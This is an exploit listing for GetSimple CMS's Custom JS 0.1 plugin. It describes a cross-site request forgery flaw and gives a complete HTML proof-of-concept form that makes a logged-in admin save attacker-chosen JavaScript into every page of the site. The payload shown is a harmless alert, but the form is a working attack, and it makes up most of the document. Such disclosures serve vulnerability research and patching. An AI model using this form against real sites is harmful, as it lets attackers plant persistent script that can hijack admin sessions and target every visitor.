GetSimple CMS Custom JS Plugin 0.1 Exploit, CSRF to Persistent XSS

# Exploit Title: GetSimple CMS Custom JS Plugin 0.1 - CSRF to Persistent XSS
# Exploit Author: Abhishek Joshi 
# Date: March 25, 2021
# Vendor Homepage: http://get-simple.info/extend/plugin/custom-js/1267 / http://get-simple.info/download
# Software Link: http://get-simple.info/extend/export/5260/1267/custom-js.zip
# Version: 0.1 
# Tested On: Windows 10 Pro + XAMPP + PHP Version 7.4.10
# Tested against: Firefox 78.7.0esr (64-bit)

# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in Custom JS v0.1 plugin for GetSimple CMS allows remote attackers to inject arbitrary client-side script code into every webpage hosted on the CMS (Persistent Cross-Site Scripting), when an authenticated admin visiting a third-party site.

## CSRF POST Form Method
<html><body>
    <form action="http://mygetsimplecms.local/admin/load.php?id=CustomJSPlugin" method="POST">
      <input type="hidden" name="customjs_url_content" value="">
      <input type="hidden" name="customjs_js_content" value="alert('Hello Abhishek Joshi from CSRF --> XSS all the things!')">
      <input type="hidden" name="submit" value="Save Settings">
      <input type="submit" value="Submit request">
    </form>
</body></html>

GetSimple CMS Custom JS Plugin 0.1 Exploit, CSRF to Persistent XSSGo BackDownload

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GetSimple CMS Custom JS Plugin 0.1 Exploit, CSRF to Persistent XSS